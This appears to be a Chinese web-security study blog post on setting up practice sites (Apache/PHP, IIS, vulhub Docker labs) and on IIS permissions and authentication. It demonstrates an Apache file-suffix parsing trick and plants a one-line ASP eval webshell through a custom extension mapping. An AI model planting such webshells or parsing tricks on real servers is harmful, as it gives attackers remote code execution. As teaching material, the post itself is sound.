当前位置: 首页 > news >正文

03-基础入门-搭建安全拓展

基础入门-搭建安全拓展

    • 1、涉及的知识点
    • 2、常见的问题
    • 3、web权限的设置
    • 4、演示案例-环境搭建
      • (1)PHPinfo
      • (2)wordpress
      • (3)win7虚拟机上使用iis搭建网站
      • (4)Windows Server 2003配置WEB站点
      • (5)域名与ip地址测试:域名 IP 目录解析安全问题
      • (6)常见文件后缀解析对应安全
    • 5、常见安全测试中的安全防护
    • 6、涉及资源
    • 6、涉及资源

1、涉及的知识点

  • 常见搭建平台脚本启用
  • 域名旧目录解析安全问题
  • 常见文件后缀解析对应安全
  • 常见安全测试中的安全防护
  • WEB后门与用户及文件权限

2、常见的问题

#ASP,PHP,ASPx,JSP,PY,JAVAWEB等环境#WEB源码中敏感文件
后台路径,数据库配置文件,备份文件等#ip或域名解析wEB源码目录对应下的存在的安全问题
域名访问,IP访问(结合类似备份文件目录)#脚本后缀对应解析(其他格式可相同-上传安全)
#存在下载或为解析问题#常见防护中的IP验证,域名验证等#后门是否给予执行权限#后门是否给予操作目录或文件权限#后门是否给予其他用户权限#总结下关于可能会存在的安全或防护问题?

3、web权限的设置

   在一般的情况下我们会对某个目录取消执行权限、最典型的就是图片目录这个目录只放图像没有脚本我们会取消执行的权限、这样我们可以防范一部分的文件上传漏洞、即使开发写的代码有问题也不会导致服务器出现安全事故。#绕过方法:如果我们上传的文件如果不能正常的执行那么将文件放在其他目录、例如网站的根目录下面

4、演示案例-环境搭建

(1)PHPinfo

  • 基于中间件的简要识别

一般可以通过抓包的方式分析出是什么类型的服务器和中间件

在这里插入图片描述

可以看见在自己搭建的平台看见使用的apache(windows) php5.4.45

  • 基于中间件的安全漏洞

可以根据在第一步上面收集到的信息、去找Apache的漏洞和PHP的漏洞

  • 基于中间件的靶场使用

https://vulhub.org/#/environments/

这个是用docker搭建的一个靶场非常的方便

环境搭建并测试,参考文档:https://vulhub.org/#/docs/install-docker-one-click/

第一步安装好docker环境并下载文件

[root@hdss7-11 ~]# docker -v
Docker version 20.10.6, build 370c289
[root@hdss7-11 ~]# docker-compose -v
docker-compose version 1.18.0, build 8dd22a9
[root@hdss7-11 ~]# cd /opt/vulhub/
[root@hdss7-11 vulhub]# wget https://github.com/vulhub/vulhub/archive/master.zip

第二步https://vulhub.org/#/environments/查找你想做的环境

在这里插入图片描述

[root@hdss7-11 vulhub]# cd vulhub-master/httpd/apache_parsing_vulnerability/
[root@hdss7-11 apache_parsing_vulnerability]# docker-compose up -d

在这里插入图片描述

创建文件并命名为x.php.jpeg并上传

[root@hdss7-11 ~]# cat x.php.jpeg
<?phpphpinfo();
?>

在这里插入图片描述

在这里插入图片描述

(2)wordpress

在这里插入图片描述

[root@hdss7-11 vulhub-master]# find . -name wordpress
./base/wordpress
./wordpress
[root@hdss7-11 vulhub-master]# cd wordpress/
[root@hdss7-11 wordpress]# cd pwnscriptum/
1.png  docker-compose.yml  exploit.py  README.md  README.zh-cn.md
[root@hdss7-11 pwnscriptum]# docker-compose up -d

(3)win7虚拟机上使用iis搭建网站

1.下载asp源码,数据库类型最好是MYSQL的。

2.解压后将解压文件放在C:\inetpub\wwwroot 路径下。

3.将文件名重命名(比较方便)。

4.打开iis服务器。

5.右键点击 网站 ,再点击 添加网站 。

6.选择物理路径,80端口和81端口已经使用了,选择其他端口。

7.选择应用程序池,右键点击刚才创建的程序池,再点击高级设置。

8.将 启用32位应用程序的 False 改为 Ture。

9.点击要创建的网站,在右边选择 asp。

在这里插入图片描述

10.将 启用父路径 改为 Ture

11.右键网站 --> 管理网站 --> 浏览,便可以打开网站。

在这里插入图片描述
在这里插入图片描述

12.为网站分配域名。

在这里插入图片描述

13.直接访问是访问不到的。

在这里插入图片描述

14.修改本地host文件(由于没有购买域名)—C:\Windows\System32\drivers\etc\host

15.便可以使用域名访问到

(4)Windows Server 2003配置WEB站点

  1. 下载好源码后,进行解压。
    在这里插入图片描述

  2. 打开iis服务器。
    在这里插入图片描述

  3. 右键 “网站”,然后点击“新建”->“网站”。
    在这里插入图片描述
    在这里插入图片描述

  4. 输入网站描述。
    在这里插入图片描述

  5. 网站IP地址是当前主机IP地址,端口号为没有被占用的端口(随便一个都可以)。
    在这里插入图片描述

  6. 选择刚才解压好的源码文件。
    在这里插入图片描述

  7. 设置允许的权限。(看自己的需求)
    在这里插入图片描述

  8. 点击“Web服务扩展”设置扩展权限。
    在这里插入图片描述

  9. 右键刚才设置的网站,选择“属性”。
    在这里插入图片描述

  10. “主目录”->“配置”->“调试”。
    在这里插入图片描述

  11. “主目录”->“配置”->“选项”。
    在这里插入图片描述

  12. 点击“文档”,由于该源码网站的默认首页是“index.asp”,而“启用默认内容文档”里没有该目录,需要手动添加。
    在这里插入图片描述

  13. 添加成功后,将添加的内容上移到第一位。
    在这里插入图片描述

  14. 访问网站。
    在这里插入图片描述

(5)域名与ip地址测试:域名 IP 目录解析安全问题

  1. 网站的目录结构—由于是网上找的源码,直接解压到当前文件夹 。
  2. 在wwwroot目录和baoming目录下分别存放一个1.txt文件。

​ 在wwwroot目录下的1.txt文件的内容为 111

​ 在baoming目录下的1.txt文件的内容为 222

  1. 分别使用域名和ip地址进行访问1.txt文件。

在这里插入图片描述

  1. 直接用ip访问-–为网站(假设为baoming.com这个网站)的上一级目录—此处可以在网站文件新建1.txt,内容为111,然后通过浏览器:ip地址/1.txt访问验证 。

  2. 直接用域名访问-–为网站首页(感觉不是真实的网站实现不了)

    #原理分析:

       用ip地址扫描为网站的上一级文件夹用域名为网站而很多套模板的网站在上一级有源码备份因此,可以通过ip地址获取源码来进行漏洞挖掘 
    

(6)常见文件后缀解析对应安全

  1. 更改应用程序映射

#复制*.asp的文件物理路径

#新建 .xiaodi8的应用程序,物理路径为 .asp的文件物理路径

  1. 在网站源码新建文件

#新建x.diaodi8的文件,内容为菜刀的asp文件的漏洞,密码为x

<%eval request("x")%>
  1. 用菜刀连接

#本机访问utl/x.xiaodi8(这一步我没有成功,浏览器404.0,文件不存在,下面就没有办法操作了)

#复制URL

#放入菜刀中连接—可以查看服务器的文件

将 .xiaodi8 的后缀名  解析成  .asp 的后缀名的文件,可以使用菜刀连接这个 .xiaod8 为后缀名的文件,会把它当成 asp文件执行解析。===>解析漏洞

5、常见安全测试中的安全防护

  1. 身份验证。

    在这里插入图片描述

    前2者配置:web.config
    后4者配置:localhost applicationHost.config <location path="">
    
    	这6项尽管列在一起。但在应用上却不是一个级别的;后4者属于IIS验证,当中匿名验证不须要提交usernamepassword,其它3个须要提供;Form身份验证属于ASP.NET验证,会通过web页面验证。要到达这个验证必须通过IIS验证(由于一个请求进入server后。先到IIS,然后才到Asp.Net应用程序)。即假设要用到Form验证,那么后4者必须启动一个。Asp.net默认执行的账号由进程模式的标识指定(在应用程序池中),例如以下图。但用户能够通过web.config中的identity来模拟其它账户( <identity impersonate="false" password="*****" userName="administrator" />),通过调用System.Security.Principal.WindowsIdentity.GetCurrent().Name可查看此账户
    

在这里插入图片描述

  1. 用户组的安全权限—读写等。

    这里来宾用户的权限是在 身份验证 那里设置的匿名用户去访问网站的。

在这里插入图片描述

可以更改 匿名用户 的权限。

在这里插入图片描述

将匿名用户的权限设置运行“读取和执行”权限,IIS 可以对该权限设置 读取、脚本和可执行文件的执行权限

在这里插入图片描述

选中“读取”可启用需要对虚拟目录具有读取访问权限的处理程序,清除“读取”可禁用需要对虚拟目录具有读取访问权限的处理程序。选中“脚本”可启用需要对虚拟目录具有脚本权限的处理程序,清除“脚本”可禁用需要对虚拟目录具有脚本权限的处理程序。选中“执行”可启用需要对虚拟目录具有执行权限的处理程序,清除“执行”可禁用需要对虚拟目录具有执行权限的处理程序。 只有当“脚本”处于选中状态时,“执行”选项才启用。

#当将功能权限选择为”读取“和”脚本“时,网站访问 x.asp 这个文件。

在这里插入图片描述

#当将功能权限选择为只有”读取“时,网站无法访问 x.asp 这个文件。

在这里插入图片描述

–>一般不会对根目录的”读取和执行“权限进行设置,因为网站的运行需要一些脚本文件的运行,而是对一些特殊目录的”读取和执行“权限进行设置。

  1. Ip地址和域名的访问限制。

在这里插入图片描述

  1. ssl的连接的证书的设置。

6、涉及资源

Web中间件常见漏洞总结_bylfsj的博客-CSDN博客_web中间件

Web中间件 - 常见漏洞总结 - 混子··· - 博客园 (cnblogs.com)

https://www.vulhub.org
ora-picture\image-20230111151005953.png" alt=“image-20230111151005953” style=“zoom:80%;” />

  1. ssl的连接的证书的设置

6、涉及资源

Web中间件常见漏洞总结_bylfsj的博客-CSDN博客_web中间件

Web中间件 - 常见漏洞总结 - 混子··· - 博客园 (cnblogs.com)

https://www.vulhub.org

相关文章:

03-基础入门-搭建安全拓展

基础入门-搭建安全拓展 1、涉及的知识点2、常见的问题3、web权限的设置4、演示案例-环境搭建&#xff08;1&#xff09;PHPinfo&#xff08;2&#xff09;wordpress&#xff08;3&#xff09;win7虚拟机上使用iis搭建网站&#xff08;4&#xff09;Windows Server 2003配置WEB站…...

穿越未来:探索虚拟现实科技的未来前景

虚拟现实&#xff08;Virtual Reality&#xff0c;简称VR&#xff09;科技&#xff0c;正如一颗崭新的明星&#xff0c;迅猛崛起&#xff0c;为人类带来前所未有的体验和想象空间。随着科技的飞速发展&#xff0c;VR 科技的未来充满了无限的可能性&#xff0c;正将我们引向一个…...

SQL- 每日一题【1327. 列出指定时间段内所有的下单产品】

题目 表: Products 表: Orders 写一个解决方案&#xff0c;要求获取在 2020 年 2 月份下单的数量不少于 100 的产品的名字和数目。 返回结果表单的 顺序无要求 。 查询结果的格式如下。 示例 1: 解题思路 1.题目要求我们获取在 2020 年 2 月份下单的数量不少于 100 的产品的…...

[xgb] plot tree

xgboost plot tree debug problem1solutionsreference problem2solutionreference problem3solutionreference supplementary explanationplot_tree参数介绍num_treesmodel.get_booster().best_iteration图中信息介绍缺失值叶子的值 训练的XGB模型里有多少棵树 problem1 用xgb…...

【云原生】Kubernetes 概述

Kubernetes 概述 1.Kubernetes 简介 Kubernetes 是一个可移植的、可扩展的、用于管理容器化工作负载和服务的开源平台&#xff0c;它简化&#xff08;促进&#xff09;了声明式配置和自动化。它有一个庞大的、快速增长的生态系统。Kubernetes 的服务、支持和工具随处可见。 K…...

9.2.2Socket(TCP)

一.过程: 1.建立连接(不是握手),虽然内核中的连接有很多,但是在应用程序中,要一个一个处理. 2. 获取任务:使用ServerSocket.accept()方法,作用是把内核中的连接获取到应用程序中,这个过程类似于生产者消费者模型. 3. 使用缓冲的时候,注意全缓冲和行缓冲. 4.注意关闭文件资源…...

“解锁IDEA的潜力:高级Java Maven项目配置指南”

目录 前言&#xff1a;流程目录&#xff1a;1.确保Java和Maven已安装检查Java是否已正确安装并配置环境变量 2.创建一个新的Maven项目导航到要创建项目的目录配置Maven运行以下命令创建一个新的Maven项目 3.配置项目的pom.xml文件打开项目根目录下的pom.xml文件配置Web.xml 4.配…...

[足式机器人]Part5 机械设计 Ch00/01 绪论+机器结构组成与连接 ——【课程笔记】

本文仅供学习使用 本文参考&#xff1a; 《机械设计》 王德伦 马雅丽课件与日常作业可登录网址 http://edu.bell-lab.com/manage/#/login&#xff0c;选择观摩登录&#xff0c;查看2023机械设计2。 机械设计-Ch00Ch01——绪论机器结构组成与连接 Ch00-绪论0.1 何为机械设计——…...

机器学习:隐马尔可夫模型(HMM)

后续会回来补充代码 1 隐马尔可夫模型 隐马尔可夫模型(Hidden Markov Model,HMM)是可用于标注问题的统计学模型&#xff0c;描述由隐藏的马尔可夫链随机生成观测序列的过程。 1.1 数学定义 隐马尔可夫模型是关于时序的概率模型&#xff0c;描述由一个隐藏的马尔可夫链随机生成…...

使用插件实现pdf,word预览功能

效果 代码&#xff1a; 插件地址&#xff1a; https://github.com/501351981/vue-office <a-modalv-model:visible"visible":title"title"ok"handleOk":bodyStyle"bodyStyle":width"1200":maskClosable"false"…...

yolov5模型构建源码详细解读(yaml、parse_model等内容)

文章目录 前言一、yolov5文件说明二、yolov5调用模型构建位置三、模型yaml文件解析1、 yaml的backbone解读Conv模块参数解读C3模块参数解读 2、yaml的head解读Concat模块参数解读Detect模块参数解读 四、模型构建整体解读五、构建模型parse_model源码解读 前言 本文章记录yolo…...

Monodepth2和Lite-Mono准备数据集

以KITTI为例下载解压后放在/home/lwd/tmp/2011_09_26 cd /home/lwd/tmp/2011_09_26 ls输出 2011_09_26_drive_0001_sync 2011_09_26_drive_0002_sync 2011_09_26_drive_0005_sync python txt.py txt.py import os, sysalos.listdir(.) al.sort() fopen(train.txt, w) for a in…...

ML-fairness-gym入门教学

1、ML-fairness-gym简介 ML-fairness-gym是一个探索机器学习系统长期影响的工具。可以用于评估机器学习系统的公平性和评估静态数据集上针对各种输入的误差度量的差异。开源网站&#xff1a;GitHub - google/ml-fairness-gym 2、安装ML-fairness-gym&#xff08;Windows&…...

结构体指针变量的使用

1、结构体指针的引用 #include<iostream> using namespace std;struct Student {int num;char name[32]; }; int main() {struct Student stu {1,"张三"};struct Student* p &stu;system("pause"); return 0; } 2、通过结构体指针访问结构体…...

解决oracle的em访问提示“使用不受支持的协议。”的bug

1. 设置oracle唯一名称 执行emctl时需要设置一个唯一的名称 否则提示 “Environment variable ORACLE_UNQNAME not defined. Please set ORACLE_UNQNAME to database unique name. ”中文意思为“未定义环境变量ORACLE_UNQNAME。 请将ORACLE_UNQNAME设置为数据库唯一名称/服务…...

编译工具:CMake(三)| 最简单的实例升级

编译工具&#xff1a;CMake&#xff08;三&#xff09;| 最简单的实例升级 前言过程语法解释ADD_SUBDIRECTORY 指令 如何安装目标文件的安装普通文件的安装&#xff1a;非目标文件的可执行程序安装(比如脚本之类)目录的安装 修改 Helloworld 支持安装测试 前言 本篇博客的任务…...

20天学会rust(四)常见系统库的使用

前面已经学习了rust的基础知识&#xff0c;今天我们来学习rust强大的系统库&#xff0c;从此coding事半功倍。 集合 数组&可变长数组 在 Rust 中&#xff0c;有两种主要的数组类型&#xff1a;固定长度数组&#xff08;Fixed-size Arrays&#xff09;和可变长度数组&…...

drawio----输出pdf为图片大小无空白(图片插入论文)

自己在写论文插入图片时为了让论文图片放大不模糊&#xff0c;啥方法都试了&#xff0c;最后摸索出来这个。 自己手动画图的时候导出pdf总会出现自己的图片很小&#xff0c;pdf的白边很大如下如所示&#xff0c;插入论文的时候后虽然放大不会模糊&#xff0c;但是白边很大会显…...

2021年09月 C/C++(二级)真题解析#中国电子学会#全国青少年软件编程等级考试

第1题&#xff1a;字符统计 给定一个由a-z这26个字符组成的字符串&#xff0c;统计其中哪个字符出现的次数最多。 输入 输入包含一行&#xff0c;一个字符串&#xff0c;长度不超过1000。 输出 输出一行&#xff0c;包括出现次数最多的字符和该字符出现的次数&#xff0c;中间以…...

HCIP VRRP技术

一、VRRP概述 VRRP&#xff08;Virtual Router Pedundancy Protocol&#xff09;虚拟路由器冗余协议&#xff0c;既能够实现网关的备份&#xff0c;又能够解决多个网关之间互相冲突的问题&#xff0c;从而提高网络可靠性。 局域网中的用户的终端通常采用配置一个默认网关的形…...

后进先出(LIFO)详解

LIFO 是 Last In, First Out 的缩写&#xff0c;中文译为后进先出。这是一种数据结构的工作原则&#xff0c;类似于一摞盘子或一叠书本&#xff1a; 最后放进去的元素最先出来 -想象往筒状容器里放盘子&#xff1a; &#xff08;1&#xff09;你放进的最后一个盘子&#xff08…...

Java 语言特性(面试系列2)

一、SQL 基础 1. 复杂查询 &#xff08;1&#xff09;连接查询&#xff08;JOIN&#xff09; 内连接&#xff08;INNER JOIN&#xff09;&#xff1a;返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...

Docker 运行 Kafka 带 SASL 认证教程

Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明&#xff1a;server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)

引言&#xff1a;为什么 Eureka 依然是存量系统的核心&#xff1f; 尽管 Nacos 等新注册中心崛起&#xff0c;但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制&#xff0c;是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

聊一聊接口测试的意义有哪些?

目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开&#xff0c;首…...

云原生玩法三问:构建自定义开发环境

云原生玩法三问&#xff1a;构建自定义开发环境 引言 临时运维一个古董项目&#xff0c;无文档&#xff0c;无环境&#xff0c;无交接人&#xff0c;俗称三无。 运行设备的环境老&#xff0c;本地环境版本高&#xff0c;ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...

Fabric V2.5 通用溯源系统——增加图片上传与下载功能

fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...